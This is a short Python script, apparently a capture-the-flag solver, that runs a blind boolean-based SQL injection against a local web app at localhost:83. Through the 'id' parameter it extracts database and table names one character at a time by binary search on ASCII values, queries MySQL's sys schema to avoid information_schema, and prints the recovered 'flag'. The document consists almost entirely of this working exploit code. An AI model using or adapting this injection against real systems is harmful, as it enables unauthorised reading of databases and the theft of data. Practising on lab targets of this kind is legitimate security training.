import requests

url = "http://localhost:83/"  # 目标url

result = ""

for i in range(1, 3000):
    min_value = 30
    max_value = 130
    mid = (max_value + min_value) // 2  # 中间值
    while (min_value < max_value):
        payload = {
            # "id": f"740-(ascii(substr((select(group_concat(table_schema))from(sys.schema_table_statistics_with_buffer)),{i},1))<={mid})", # 注出数据库
            # "id": f"740-(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=0x76756C74657374)),{i},1))<={mid})", #注出字段名
            "id": f"740-(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=0x76756C74657374)),{i},1))<={mid})",
            # 注出部分列名
        }
        html = requests.get(url, params=payload)
        # print(html)
        if "PK" in html.text:

            min_value = mid + 1
        else:
            max_value = mid
        mid = (max_value + min_value) // 2
    if (mid == 30):
        break
    # print(mid)
    result += chr(mid)
    print(result)

print("fina flag:", result)
